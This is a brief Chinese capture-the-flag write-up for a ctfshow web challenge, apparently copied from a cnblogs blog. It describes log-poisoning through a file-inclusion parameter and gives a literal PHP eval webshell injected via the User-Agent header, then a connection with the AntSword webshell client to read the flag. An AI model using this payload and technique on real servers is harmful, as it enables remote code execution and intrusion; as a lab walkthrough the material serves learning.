根据发回的响应包可以确定这题使用的是 nginx 服务器：
看看访问日志先，?url=/var/log/nginx/access.log：
尝试使用日志包含写入一句话木马，往 User-Agent 字段传入一句话木马 <?php @eval($_POST['web4']);?>
传入后的日志增加一条记录：
使用中国蚁剑连接日志文件，在 /var/www/flag.txt 目录找到 flag 内容。
参考
ctfshow_WriteUp | _萌新-Guanz-博客园
标签：log,nginx,var,web4,test,日志 From： https://www.cnblogs.com/Guanz/p/18308389